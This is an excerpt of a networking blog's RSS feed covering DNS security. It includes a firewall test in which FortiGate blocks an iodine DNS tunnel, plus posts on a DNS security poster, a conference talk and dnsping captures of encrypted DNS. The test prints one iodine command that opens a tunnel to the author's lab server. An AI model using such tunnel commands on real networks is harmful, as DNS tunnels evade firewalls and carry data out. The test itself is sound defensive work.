<a href="https://weberblog.net/wp-content/uploads/2026/01/Palo-Alto-DNS-Tunneling-Block-Unified-Logs-scaled.png"><img loading="lazy" decoding="async" class="aligncenter size-large wp-image-14216" src="https://weberblog.net/wp-content/uploads/2026/01/Palo-Alto-DNS-Tunneling-Block-Unified-Logs-1024x272.png" alt="" width="604" height="160" srcset="https://weberblog.net/wp-content/uploads/2026/01/Palo-Alto-DNS-Tunneling-Block-Unified-Logs-1024x272.png 1024w, https://weberblog.net/wp-content/uploads/2026/01/Palo-Alto-DNS-Tunneling-Block-Unified-Logs-300x80.png 300w, https://weberblog.net/wp-content/uploads/2026/01/Palo-Alto-DNS-Tunneling-Block-Unified-Logs-768x204.png 768w, https://weberblog.net/wp-content/uploads/2026/01/Palo-Alto-DNS-Tunneling-Block-Unified-Logs-1536x407.png 1536w, https://weberblog.net/wp-content/uploads/2026/01/Palo-Alto-DNS-Tunneling-Block-Unified-Logs-2048x543.png 2048w" sizes="auto, (max-width: 604px) 100vw, 604px" /></a></p>
<div style="margin-bottom:24px"><a href="https://weberblog.net/neoxpackettiger-network-packet-broker-network-monitoring-switch-data-monitoring-switch" target="_blank" rel="noopener"><img decoding="async" class="aligncenter size-full" srcset="https://weberblog.net/wp-content/uploads/2022/01/NEOXPacketTiger_Banner_DE_1208x.png 2x, https://weberblog.net/wp-content/uploads/2022/01/NEOXPacketTiger_Banner_DE_604x.png 1x" src="https://weberblog.net/wp-content/uploads/2022/01/NEOXPacketTiger_Banner_DE_604x.png" /></a></div>
<h3>Fortinet Firewall</h3>
<p>On a FortiGate firewall, a rule allowing DNS without a security profile allowed the attack (unlike Palo Alto, which is application-based by default and blocks a &#8220;non-DNS&#8221; attempt directly).</p>
<p>A rule that still allows DNS, but with the <strong>Application Control to block &#8220;Proxy&#8221;</strong>, blocks iodine as well. In this blocking scenario, the DNS tunnel was already blocked during the setup period! Very good. The application was detected as &#8220;Iodine&#8221;.</p><pre class="urvanov-syntax-highlighter-plain-tag">weberjoh@vm32-test2:~$ sudo iodine -f -P passphrase -r 85.214.123.36 io2.weberlab.de
Opened dns0
Opened IPv4 UDP socket
Sending DNS queries for io2.weberlab.de to 85.214.123.36
Autodetecting DNS query type (use -T to override).....................
iodine: No suitable DNS query type found. Are you connected to a network?
iodine: If you expect very long roundtrip delays, use -T explicitly.
iodine: (Also, connecting to an "ancient" version of iodined won't work.)</pre><p>
<a href="https://weberblog.net/wp-content/uploads/2026/01/FortiGate-DNS-Tunneling-Block-Forward-Traffic-Logs-scaled.png"><img loading="lazy" decoding="async" class="aligncenter size-large wp-image-14217" src="https://weberblog.net/wp-content/uploads/2026/01/FortiGate-DNS-Tunneling-Block-Forward-Traffic-Logs-1024x487.png" alt="" width="604" height="287" srcset="https://weberblog.net/wp-content/uploads/2026/01/FortiGate-DNS-Tunneling-Block-Forward-Traffic-Logs-1024x487.png 1024w, https://weberblog.net/wp-content/uploads/2026/01/FortiGate-DNS-Tunneling-Block-Forward-Traffic-Logs-300x143.png 300w, https://weberblog.net/wp-content/uploads/2026/01/FortiGate-DNS-Tunneling-Block-Forward-Traffic-Logs-768x366.png 768w, https://weberblog.net/wp-content/uploads/2026/01/FortiGate-DNS-Tunneling-Block-Forward-Traffic-Logs-1536x731.png 1536w, https://weberblog.net/wp-content/uploads/2026/01/FortiGate-DNS-Tunneling-Block-Forward-Traffic-Logs-2048x975.png 2048w" sizes="auto, (max-width: 604px) 100vw, 604px" /></a></p>
<p>Soli Deo Gloria!</p>
<p><span class="text-Kvkr6N truncate-Pc_c1s textS-BC51wP">Photo by <a href="https://unsplash.com/@enginakyurt?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText">engin akyurt</a> on <a href="https://unsplash.com/photos/green-grass-field-near-gray-concrete-road-1gSwenOWEo8?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText">Unsplash</a></span>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://weberblog.net/dns-tunneling-iodine/feed/</wfw:commentRss>
			<slash:comments>3</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">13976</post-id>	</item>
		<item>
		<title>DNS Security Overview</title>
		<link>https://weberblog.net/dns-security-overview/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=dns-security-overview</link>
					<comments>https://weberblog.net/dns-security-overview/#respond</comments>
		
		<dc:creator><![CDATA[Johannes Weber]]></dc:creator>
		<pubDate>Wed, 10 Dec 2025 08:10:55 +0000</pubDate>
				<category><![CDATA[At a Glance]]></category>
		<category><![CDATA[DNS/DNSSEC]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Attack]]></category>
		<category><![CDATA[DDoS]]></category>
		<category><![CDATA[DNS]]></category>
		<category><![CDATA[DNS Exfiltration]]></category>
		<category><![CDATA[DNS Spoofing]]></category>
		<category><![CDATA[DNS Tunneling]]></category>
		<category><![CDATA[DNSSEC]]></category>
		<category><![CDATA[DoH]]></category>
		<category><![CDATA[Malware]]></category>
		<category><![CDATA[MITM]]></category>
		<guid isPermaLink="false">https://weberblog.net/?p=14120</guid>

					<description><![CDATA[<img width="300" height="169" src="https://weberblog.net/wp-content/uploads/2025/12/DNS-Security-Overview-featured-image-300x169.jpg" class="webfeedsFeaturedVisual wp-post-image" alt="" style="display: block; margin: auto; margin-bottom: 5px;max-width: 100%;" link_thumbnail="" decoding="async" loading="lazy" srcset="https://weberblog.net/wp-content/uploads/2025/12/DNS-Security-Overview-featured-image-300x169.jpg 300w, https://weberblog.net/wp-content/uploads/2025/12/DNS-Security-Overview-featured-image-1024x576.jpg 1024w, https://weberblog.net/wp-content/uploads/2025/12/DNS-Security-Overview-featured-image-768x432.jpg 768w, https://weberblog.net/wp-content/uploads/2025/12/DNS-Security-Overview-featured-image-1536x864.jpg 1536w, https://weberblog.net/wp-content/uploads/2025/12/DNS-Security-Overview-featured-image.jpg 1920w" sizes="auto, (max-width: 300px) 100vw, 300px" />On the Internet, it’s not only “always DNS” &#8211; it’s also about securing DNS. DNS faces a wide range of attack vectors, each requiring different defensive strategies. Here comes an overview of DNS security, which gives you all the keywords at a glance. This is my approach to a picture worth a thousand words. I &#8230; <a href="https://weberblog.net/dns-security-overview/" class="more-link">Continue reading <span class="screen-reader-text">DNS Security Overview</span> <span class="meta-nav">&#8594;</span></a>]]></description>
										<content:encoded><![CDATA[<img width="300" height="169" src="https://weberblog.net/wp-content/uploads/2025/12/DNS-Security-Overview-featured-image-300x169.jpg" class="webfeedsFeaturedVisual wp-post-image" alt="" style="display: block; margin: auto; margin-bottom: 5px;max-width: 100%;" link_thumbnail="" decoding="async" loading="lazy" srcset="https://weberblog.net/wp-content/uploads/2025/12/DNS-Security-Overview-featured-image-300x169.jpg 300w, https://weberblog.net/wp-content/uploads/2025/12/DNS-Security-Overview-featured-image-1024x576.jpg 1024w, https://weberblog.net/wp-content/uploads/2025/12/DNS-Security-Overview-featured-image-768x432.jpg 768w, https://weberblog.net/wp-content/uploads/2025/12/DNS-Security-Overview-featured-image-1536x864.jpg 1536w, https://weberblog.net/wp-content/uploads/2025/12/DNS-Security-Overview-featured-image.jpg 1920w" sizes="auto, (max-width: 300px) 100vw, 300px" /><p>On the Internet, it’s not only “<a href="https://weberblog.net/its-always-dns-poster/">always DNS</a>” &#8211; <strong>it’s also about securing DNS</strong>. DNS faces a wide range of attack vectors, each requiring different defensive strategies. Here comes an <strong>overview of DNS security</strong>, which gives you all the keywords at a glance.</p>
<p><span id="more-14120"></span></p>
<div class="su-note"  style="border-color:#69adc8;border-radius:3px;-moz-border-radius:3px;-webkit-border-radius:3px;"><div class="su-note-inner su-u-clearfix su-u-trim" style="background-color:#83c7e2;border-color:#ffffff;color:#333333;border-radius:3px;-moz-border-radius:3px;-webkit-border-radius:3px;">This blog post is part of a series about DNS. Refer to <a href="https://weberblog.net/dns/">this list</a> for all articles.</div></div>
<div style="margin-bottom:24px"><a href="https://weberblog.net/neoxpacketraven-modulare-glasfaser-taps" target="_blank" rel="noopener"><img decoding="async" class="aligncenter size-full" srcset="https://weberblog.net/wp-content/uploads/2022/01/NEOXPacketRaven-Modular_Banner_DE_1208x.png 2x, https://weberblog.net/wp-content/uploads/2022/01/NEOXPacketRaven-Modular_Banner_DE_604x.png 1x" src="https://weberblog.net/wp-content/uploads/2022/01/NEOXPacketRaven-Modular_Banner_DE_604x.png" /></a></div>
<p>This is my approach to a picture worth a thousand words. I use it during training sessions and at customers’ sites to explain concepts related to DNS security. Of course, this drawing isn’t perfect and doesn’t show every detail, but it’s a good starting point. ;) If you have any thoughts or corrections, please leave a comment below. (Thanks to <a href="https://mastodon.social/@cstrotm" target="_blank" rel="noopener">Carsten Strotmann</a> for reviewing it.)</p>
<p><a href="https://weberblog.net/wp-content/uploads/2025/12/DNS-Security-Overview-v20251209.png"><img loading="lazy" decoding="async" class="aligncenter size-large wp-image-14147" src="https://weberblog.net/wp-content/uploads/2025/12/DNS-Security-Overview-v20251209-1024x801.png" alt="" width="604" height="472" srcset="https://weberblog.net/wp-content/uploads/2025/12/DNS-Security-Overview-v20251209-1024x801.png 1024w, https://weberblog.net/wp-content/uploads/2025/12/DNS-Security-Overview-v20251209-300x235.png 300w, https://weberblog.net/wp-content/uploads/2025/12/DNS-Security-Overview-v20251209-768x600.png 768w, https://weberblog.net/wp-content/uploads/2025/12/DNS-Security-Overview-v20251209-1536x1201.png 1536w, https://weberblog.net/wp-content/uploads/2025/12/DNS-Security-Overview-v20251209-2048x1601.png 2048w" sizes="auto, (max-width: 604px) 100vw, 604px" /></a></p>
<p>Feel free to use it wherever you want. Please link back to this blog post.</p>
<p>If you want not only the poster but also a full session that explains all of this, take a look at <a href="https://weberblog.net/dns-security-sharkfest25-eu/">my <strong>DNS security presentation (full video!)</strong> from SharkFest’25 EU</a>.</p>
<p>Also, have a look at my at-a-glance version for mere DNS: <a href="https://weberblog.net/its-always-dns-poster/"><strong>It&#8217;s Always DNS &#8211; Poster</strong></a> and its <a href="https://weberblog.net/its-always-dns-sharkfest23-eu/">corresponding presentation</a>.</p>
<p>Soli Deo Gloria!</p>
<p><span class="text-Kvkr6N truncate-Pc_c1s textS-BC51wP">Photo by <a href="https://unsplash.com/@real_markjames?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText">Mark James Panaligan</a> on <a href="https://unsplash.com/photos/a-person-looking-out-a-window-Vr07g4reGBA?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText">Unsplash</a></span>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://weberblog.net/dns-security-overview/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">14120</post-id>	</item>
		<item>
		<title>DNS Security @ SharkFest&#8217;25 EU</title>
		<link>https://weberblog.net/dns-security-sharkfest25-eu/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=dns-security-sharkfest25-eu</link>
					<comments>https://weberblog.net/dns-security-sharkfest25-eu/#respond</comments>
		
		<dc:creator><![CDATA[Johannes Weber]]></dc:creator>
		<pubDate>Tue, 09 Dec 2025 14:53:28 +0000</pubDate>
				<category><![CDATA[Authentication]]></category>
		<category><![CDATA[Conference Talks]]></category>
		<category><![CDATA[DNS/DNSSEC]]></category>
		<category><![CDATA[Privacy]]></category>
		<category><![CDATA[Attack]]></category>
		<category><![CDATA[DNS]]></category>
		<category><![CDATA[DNS Exfiltration]]></category>
		<category><![CDATA[DNS Spoofing]]></category>
		<category><![CDATA[DNS Tunneling]]></category>
		<category><![CDATA[DNSSEC]]></category>
		<category><![CDATA[DoH]]></category>
		<category><![CDATA[DoT]]></category>
		<category><![CDATA[MITM]]></category>
		<category><![CDATA[SharkFest]]></category>
		<guid isPermaLink="false">https://weberblog.net/?p=14133</guid>

					<description><![CDATA[<img width="300" height="169" src="https://weberblog.net/wp-content/uploads/2025/12/DNS-Security-@-SharkFest25-EU-featured-image-300x169.jpg" class="webfeedsFeaturedVisual wp-post-image" alt="" style="display: block; margin: auto; margin-bottom: 5px;max-width: 100%;" link_thumbnail="" decoding="async" loading="lazy" srcset="https://weberblog.net/wp-content/uploads/2025/12/DNS-Security-@-SharkFest25-EU-featured-image-300x169.jpg 300w, https://weberblog.net/wp-content/uploads/2025/12/DNS-Security-@-SharkFest25-EU-featured-image-1024x576.jpg 1024w, https://weberblog.net/wp-content/uploads/2025/12/DNS-Security-@-SharkFest25-EU-featured-image-768x432.jpg 768w, https://weberblog.net/wp-content/uploads/2025/12/DNS-Security-@-SharkFest25-EU-featured-image-1536x864.jpg 1536w, https://weberblog.net/wp-content/uploads/2025/12/DNS-Security-@-SharkFest25-EU-featured-image.jpg 1920w" sizes="auto, (max-width: 300px) 100vw, 300px" />I was presenting at the annual &#8220;Wireshark Developer and User Conference&#8220;, the SharkFest&#8217;25 EU, talking about &#8220;Securing DNS &#8211; Attacks and Defences&#8220;. It covered all the buzzwords related to DNS security, such as malware using DNS, DNS spoofing, DNS exfiltration &#38; tunnelling, while defending them with the keywords as DNSSEC, DoH/DoT, feeds &#38; blocklists, and &#8230; <a href="https://weberblog.net/dns-security-sharkfest25-eu/" class="more-link">Continue reading <span class="screen-reader-text">DNS Security @ SharkFest&#8217;25 EU</span> <span class="meta-nav">&#8594;</span></a>]]></description>
										<content:encoded><![CDATA[<img width="300" height="169" src="https://weberblog.net/wp-content/uploads/2025/12/DNS-Security-@-SharkFest25-EU-featured-image-300x169.jpg" class="webfeedsFeaturedVisual wp-post-image" alt="" style="display: block; margin: auto; margin-bottom: 5px;max-width: 100%;" link_thumbnail="" decoding="async" loading="lazy" srcset="https://weberblog.net/wp-content/uploads/2025/12/DNS-Security-@-SharkFest25-EU-featured-image-300x169.jpg 300w, https://weberblog.net/wp-content/uploads/2025/12/DNS-Security-@-SharkFest25-EU-featured-image-1024x576.jpg 1024w, https://weberblog.net/wp-content/uploads/2025/12/DNS-Security-@-SharkFest25-EU-featured-image-768x432.jpg 768w, https://weberblog.net/wp-content/uploads/2025/12/DNS-Security-@-SharkFest25-EU-featured-image-1536x864.jpg 1536w, https://weberblog.net/wp-content/uploads/2025/12/DNS-Security-@-SharkFest25-EU-featured-image.jpg 1920w" sizes="auto, (max-width: 300px) 100vw, 300px" /><p>I was presenting at the annual &#8220;<a href="https://sharkfest.wireshark.org/" target="_blank" rel="noopener">Wireshark Developer and User Conference</a>&#8220;, the <a href="https://sharkfest.wireshark.org/retrospective/sfeu/sf25eu/" target="_blank" rel="noopener">SharkFest&#8217;25 EU</a>, talking about &#8220;<strong>Securing DNS &#8211; Attacks and Defences</strong>&#8220;. It covered all the buzzwords related to DNS security, such as malware using DNS, DNS spoofing, DNS exfiltration &amp; tunnelling, while defending them with the keywords as DNSSEC, DoH/DoT, feeds &amp; blocklists, and so on.</p>
<p>Quite many techniques. ;) Luckily, <strong>the whole session was recorded</strong>. So if you&#8217;re interested, have a look!</p>
<p><span id="more-14133"></span></p>
<div style="margin-bottom:24px"><a href="https://weberblog.net/neoxpacketfalcon-compact-packet-capture-appliance-bis-100gbps" target="_blank" rel="noopener"><img decoding="async" class="aligncenter size-full" srcset="https://weberblog.net/wp-content/uploads/2023/02/NEOXPacketFalcon-Compact_Banner_DE_1208x.v2023.png 2x, https://weberblog.net/wp-content/uploads/2023/02/NEOXPacketFalcon-Compact_Banner_DE_604x.v2023.png 1x" src="https://weberblog.net/wp-content/uploads/2022/01/NEOXPacketFalcon-Compact_Banner_DE_604x.png" /></a></div>
<div class="su-quote su-quote-style-default"><div class="su-quote-inner su-u-clearfix su-u-trim">DNS is a foundational part of the Internet &#8211; but also a prime target for attackers. In this talk, we dive into common DNS attack vectors like spoofing, command-and-control traffic via DNS, or DNS tunnelling. We&#8217;ll explore modern defence mechanisms such as DNSSEC, DNS-over-HTTPS (DoH), and DNS-over-TLS (DoT), and how they help protect DNS integrity and privacy. You&#8217;ll also get insights into leveraging threat intel and malware feeds to detect malicious domains, plus a look at useful tools for DNS troubleshooting and analysis.</div></div>
<p><iframe loading="lazy" title="08: Secure DNS: Attacks and Defenses | Learn Wireshark with Johannes Weber @ SF25EU" width="604" height="340" src="https://www.youtube.com/embed/79m21tA_9Hs?feature=oembed" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen></iframe></p>
<p>Here are the slides (PDF):</p>
<p><a href="https://weberblog.net/wp-content/uploads/2025/12/SharkFest25-EUROPE-Johannes-Weber-Secure-DNS.pdf"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-5570" src="https://weberblog.net/wp-content/uploads/2014/07/download-buttons01.png" alt="" width="158" height="45" /></a></p>
<p>At the end of the talk, I showed a summary of all DNS security attack vectors and countermeasures. <a href="https://weberblog.net/dns-security-overview/">If you&#8217;re interested in this “simple” overview, you can find it here.</a></p>
<p>If you have any comments or questions, please go ahead and use the comment function. ;)</p>
<p>Me in action 😂:</p>

<a href='https://weberblog.net/wp-content/uploads/2025/12/Johannes-Weber-SharkFest25-EU-1.jpg'><img loading="lazy" decoding="async" width="300" height="225" src="https://weberblog.net/wp-content/uploads/2025/12/Johannes-Weber-SharkFest25-EU-1-300x225.jpg" class="attachment-medium size-medium" alt="" srcset="https://weberblog.net/wp-content/uploads/2025/12/Johannes-Weber-SharkFest25-EU-1-300x225.jpg 300w, https://weberblog.net/wp-content/uploads/2025/12/Johannes-Weber-SharkFest25-EU-1-1024x768.jpg 1024w, https://weberblog.net/wp-content/uploads/2025/12/Johannes-Weber-SharkFest25-EU-1-768x576.jpg 768w, https://weberblog.net/wp-content/uploads/2025/12/Johannes-Weber-SharkFest25-EU-1.jpg 1210w" sizes="auto, (max-width: 300px) 100vw, 300px" /></a>
<a href='https://weberblog.net/wp-content/uploads/2025/12/Johannes-Weber-SharkFest25-EU-2.jpg'><img loading="lazy" decoding="async" width="300" height="225" src="https://weberblog.net/wp-content/uploads/2025/12/Johannes-Weber-SharkFest25-EU-2-300x225.jpg" class="attachment-medium size-medium" alt="" srcset="https://weberblog.net/wp-content/uploads/2025/12/Johannes-Weber-SharkFest25-EU-2-300x225.jpg 300w, https://weberblog.net/wp-content/uploads/2025/12/Johannes-Weber-SharkFest25-EU-2-1024x768.jpg 1024w, https://weberblog.net/wp-content/uploads/2025/12/Johannes-Weber-SharkFest25-EU-2-768x576.jpg 768w, https://weberblog.net/wp-content/uploads/2025/12/Johannes-Weber-SharkFest25-EU-2.jpg 1210w" sizes="auto, (max-width: 300px) 100vw, 300px" /></a>

<p><span class="text-Kvkr6N truncate-Pc_c1s textS-BC51wP">Photo by <a href="https://unsplash.com/@pconrad?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText">Peter Conrad</a> on <a href="https://unsplash.com/photos/a-red-security-sign-and-a-blue-security-sign-UA8PwPht1Vw?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText">Unsplash</a></span>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://weberblog.net/dns-security-sharkfest25-eu/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">14133</post-id>	</item>
		<item>
		<title>DNS Packet Capture: DoT, DoH, DoQ, DoH3</title>
		<link>https://weberblog.net/dns-packet-capture-dot-doh-doq-doh3/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=dns-packet-capture-dot-doh-doq-doh3</link>
					<comments>https://weberblog.net/dns-packet-capture-dot-doh-doq-doh3/#comments</comments>
		
		<dc:creator><![CDATA[Johannes Weber]]></dc:creator>
		<pubDate>Wed, 26 Nov 2025 14:01:32 +0000</pubDate>
				<category><![CDATA[DNS/DNSSEC]]></category>
		<category><![CDATA[Privacy]]></category>
		<category><![CDATA[dig]]></category>
		<category><![CDATA[DNS]]></category>
		<category><![CDATA[DNSDiag]]></category>
		<category><![CDATA[dnsping]]></category>
		<category><![CDATA[DoH]]></category>
		<category><![CDATA[DoH3]]></category>
		<category><![CDATA[DoQ]]></category>
		<category><![CDATA[DoT]]></category>
		<category><![CDATA[Palo Alto Networks]]></category>
		<category><![CDATA[Ultimate PCAP]]></category>
		<category><![CDATA[Wireshark]]></category>
		<guid isPermaLink="false">https://weberblog.net/?p=13909</guid>

					<description><![CDATA[<img width="300" height="169" src="https://weberblog.net/wp-content/uploads/2025/10/DNS-Packet-Capture-DoT-DoH-DoQ-DoH3-featured-image-300x169.jpg" class="webfeedsFeaturedVisual wp-post-image" alt="" style="display: block; margin: auto; margin-bottom: 5px;max-width: 100%;" link_thumbnail="" decoding="async" loading="lazy" srcset="https://weberblog.net/wp-content/uploads/2025/10/DNS-Packet-Capture-DoT-DoH-DoQ-DoH3-featured-image-300x169.jpg 300w, https://weberblog.net/wp-content/uploads/2025/10/DNS-Packet-Capture-DoT-DoH-DoQ-DoH3-featured-image-1024x576.jpg 1024w, https://weberblog.net/wp-content/uploads/2025/10/DNS-Packet-Capture-DoT-DoH-DoQ-DoH3-featured-image-768x432.jpg 768w, https://weberblog.net/wp-content/uploads/2025/10/DNS-Packet-Capture-DoT-DoH-DoQ-DoH3-featured-image-1536x864.jpg 1536w, https://weberblog.net/wp-content/uploads/2025/10/DNS-Packet-Capture-DoT-DoH-DoQ-DoH3-featured-image.jpg 1920w" sizes="auto, (max-width: 300px) 100vw, 300px" />While I was working on my presentation about &#8220;Secure DNS&#8221; for this year&#8217;s SharkFest, the Wireshark Developer and User Conference, I recognised that I&#8217;m still missing some DNS-related packet captures in the Ultimate PCAP, that is DNS over TLS and DNS over HTTPS. And while working on it with the DNSDiag toolkit (thanks, Babak!), I &#8230; <a href="https://weberblog.net/dns-packet-capture-dot-doh-doq-doh3/" class="more-link">Continue reading <span class="screen-reader-text">DNS Packet Capture: DoT, DoH, DoQ, DoH3</span> <span class="meta-nav">&#8594;</span></a>]]></description>
										<content:encoded><![CDATA[<img width="300" height="169" src="https://weberblog.net/wp-content/uploads/2025/10/DNS-Packet-Capture-DoT-DoH-DoQ-DoH3-featured-image-300x169.jpg" class="webfeedsFeaturedVisual wp-post-image" alt="" style="display: block; margin: auto; margin-bottom: 5px;max-width: 100%;" link_thumbnail="" decoding="async" loading="lazy" srcset="https://weberblog.net/wp-content/uploads/2025/10/DNS-Packet-Capture-DoT-DoH-DoQ-DoH3-featured-image-300x169.jpg 300w, https://weberblog.net/wp-content/uploads/2025/10/DNS-Packet-Capture-DoT-DoH-DoQ-DoH3-featured-image-1024x576.jpg 1024w, https://weberblog.net/wp-content/uploads/2025/10/DNS-Packet-Capture-DoT-DoH-DoQ-DoH3-featured-image-768x432.jpg 768w, https://weberblog.net/wp-content/uploads/2025/10/DNS-Packet-Capture-DoT-DoH-DoQ-DoH3-featured-image-1536x864.jpg 1536w, https://weberblog.net/wp-content/uploads/2025/10/DNS-Packet-Capture-DoT-DoH-DoQ-DoH3-featured-image.jpg 1920w" sizes="auto, (max-width: 300px) 100vw, 300px" /><p>While I was working on my presentation about &#8220;Secure DNS&#8221; for this year&#8217;s <a href="https://sharkfest.wireshark.org/sfeu/" target="_blank" rel="noopener">SharkFest</a>, the Wireshark Developer and User Conference, I recognised that I&#8217;m still missing some DNS-related packet captures in the <a href="https://weberblog.net/the-ultimate-pcap/">Ultimate PCAP</a>, that is <strong>DNS over TLS </strong>and <strong>DNS over HTTPS</strong>. And while working on it with the <a href="https://dnsdiag.org/" target="_blank" rel="noopener">DNSDiag toolkit</a> (thanks, <a href="https://github.com/farrokhi" target="_blank" rel="noopener">Babak</a>!), I came across <strong>DNS over QUIC </strong>and <strong>DNS over HTTP/3</strong>. 😂 Here we go:</p>
<p><span id="more-13909"></span></p>
<p>Please <strong>find the packets/sessions in the <a href="https://weberblog.net/the-ultimate-pcap/">Ultimate PCAP</a></strong> with the following Display Filter, which filters for the used Do{T|H|Q|H3}-endpoints. For the sake of completeness, I also captured a standard UDP and TCP DNS session.</p><pre class="urvanov-syntax-highlighter-plain-tag">ipv6.addr in {2a13:1001::86:54:11:1,2a13:1001::86:54:11:201,2a10:50c0::ad1:ff,2a10:50c0::ad2:ff}</pre><p>
Also, refer to the <strong>packet comments of the first packet of each session</strong>, where I have listed the respective command.</p>
<div style="margin-bottom:24px"><a href="https://weberblog.net/packetraven_portable_fiber-kupfer-sfp_ethernet-network-taps" target="_blank" rel="noopener"><img decoding="async" class="aligncenter size-full" srcset="https://weberblog.net/wp-content/uploads/2023/02/NEOXPacketRaven-Portable-Family_Banner_DE_1208x.v2023.png 2x, https://weberblog.net/wp-content/uploads/2023/02/NEOXPacketRaven-Portable-Family_Banner_DE_604x.v2023.png 1x" src="https://weberblog.net/wp-content/uploads/2022/01/NEOXPacketRaven-Portable_Banner_DE_604x.png" /></a></div>
<h2>Setup</h2>
<p>For the DNS-servers, I primarily used the <a href="https://www.joindns4.eu/for-public" target="_blank" rel="noopener">DNS4EU &#8220;Protective resolution&#8221;</a> (UDP, TCP, DoT, DoH), while <a href="https://adguard-dns.io/en/public-dns.html" target="_blank" rel="noopener">AdGuard DNS</a> for DoQ and DoH3. Thanks to the <a href="https://weberblog.net/advanced-ping-httping-dnsping-smtpping/">DNSDiag tool &#8220;dnsping&#8221;</a>, which supports all of those variants. (I used version 2.9.0 during my tests.) These were my six commands, each querying four times the A record of &#8220;heise.de&#8221;:</p><pre class="urvanov-syntax-highlighter-plain-tag">./dnsping.py --server 2a13:1001::86:54:11:1 -c 4 heise.de
./dnsping.py --server 2a13:1001::86:54:11:1 --tcp -c 4 heise.de
./dnsping.py --server protective.joindns4.eu --tls -c 4 heise.de
./dnsping.py --server protective.joindns4.eu --doh -c 4 heise.de
./dnsping.py --server dns.adguard-dns.com --quic -c 4 heise.de
./dnsping.py --server dns.adguard-dns.com --http3 -c 4 heise.de</pre><p>
Here&#8217;s the complete log:</p><pre class="urvanov-syntax-highlighter-plain-tag">weberjoh@nuc:~/dnsdiag$ ./dnsping.py --server 2a13:1001::86:54:11:1 -c 4 heise.de
dnsping.py DNS: [2a13:1001::86:54:11:1]:53, hostname: heise.de, proto: UDP, class: IN, type: A, flags: [RD]
42  bytes from [2a13:1001::86:54:11:1]: seq=1   time=8.661   ms  NOERROR
42  bytes from [2a13:1001::86:54:11:1]: seq=2   time=12.478  ms  NOERROR
42  bytes from [2a13:1001::86:54:11:1]: seq=3   time=11.645  ms  NOERROR
42  bytes from [2a13:1001::86:54:11:1]: seq=4   time=11.245  ms  NOERROR

--- [2a13:1001::86:54:11:1] dnsping statistics ---
4 requests transmitted, 4 responses received, 0% lost
min=8.661 ms, avg=11.007 ms, max=12.478 ms, stddev=1.646 ms
weberjoh@nuc:~/dnsdiag$
weberjoh@nuc:~/dnsdiag$
weberjoh@nuc:~/dnsdiag$ ./dnsping.py --server 2a13:1001::86:54:11:1 --tcp -c 4 heise.de
dnsping.py DNS: [2a13:1001::86:54:11:1]:53, hostname: heise.de, proto: TCP, class: IN, type: A, flags: [RD]
42  bytes from [2a13:1001::86:54:11:1]: seq=1   time=22.471  ms  NOERROR
42  bytes from [2a13:1001::86:54:11:1]: seq=2   time=24.437  ms  NOERROR
42  bytes from [2a13:1001::86:54:11:1]: seq=3   time=23.537  ms  NOERROR
42  bytes from [2a13:1001::86:54:11:1]: seq=4   time=22.864  ms  NOERROR

--- [2a13:1001::86:54:11:1] dnsping statistics ---
4 requests transmitted, 4 responses received, 0% lost
min=22.471 ms, avg=23.327 ms, max=24.437 ms, stddev=0.861 ms
weberjoh@nuc:~/dnsdiag$
weberjoh@nuc:~/dnsdiag$
weberjoh@nuc:~/dnsdiag$ ./dnsping.py --server protective.joindns4.eu --tls -c 4 heise.de
dnsping.py DNS: protective.joindns4.eu:853, hostname: heise.de, proto: TLS, class: IN, type: A, flags: [RD]
42  bytes from protective.joindns4.eu: seq=1   time=87.545  ms  NOERROR
42  bytes from protective.joindns4.eu: seq=2   time=91.599  ms  NOERROR
42  bytes from protective.joindns4.eu: seq=3   time=91.103  ms  NOERROR
42  bytes from protective.joindns4.eu: seq=4   time=90.454  ms  NOERROR

--- protective.joindns4.eu dnsping statistics ---
4 requests transmitted, 4 responses received, 0% lost
min=87.545 ms, avg=90.175 ms, max=91.599 ms, stddev=1.815 ms
weberjoh@nuc:~/dnsdiag$
weberjoh@nuc:~/dnsdiag$
weberjoh@nuc:~/dnsdiag$ ./dnsping.py --server protective.joindns4.eu --doh -c 4 heise.de
dnsping.py DNS: protective.joindns4.eu:443, hostname: heise.de, proto: HTTPS, class: IN, type: A, flags: [RD]
42  bytes from protective.joindns4.eu: seq=1   time=50.702  ms  NOERROR
42  bytes from protective.joindns4.eu: seq=2   time=50.802  ms  NOERROR
42  bytes from protective.joindns4.eu: seq=3   time=44.650  ms  NOERROR
42  bytes from protective.joindns4.eu: seq=4   time=45.645  ms  NOERROR

--- protective.joindns4.eu dnsping statistics ---
4 requests transmitted, 4 responses received, 0% lost
min=44.650 ms, avg=47.950 ms, max=50.802 ms, stddev=3.261 ms
weberjoh@nuc:~/dnsdiag$
weberjoh@nuc:~/dnsdiag$
weberjoh@nuc:~/dnsdiag$ ./dnsping.py --server dns.adguard-dns.com --quic -c 4 heise.de
dnsping.py DNS: dns.adguard-dns.com:853, hostname: heise.de, proto: QUIC, class: IN, type: A, flags: [RD]
42  bytes from dns.adguard-dns.com: seq=1   time=49.083  ms  NOERROR
42  bytes from dns.adguard-dns.com: seq=2   time=43.731  ms  NOERROR
42  bytes from dns.adguard-dns.com: seq=3   time=29.795  ms  NOERROR
42  bytes from dns.adguard-dns.com: seq=4   time=70.312  ms  NOERROR

--- dns.adguard-dns.com dnsping statistics ---
4 requests transmitted, 4 responses received, 0% lost
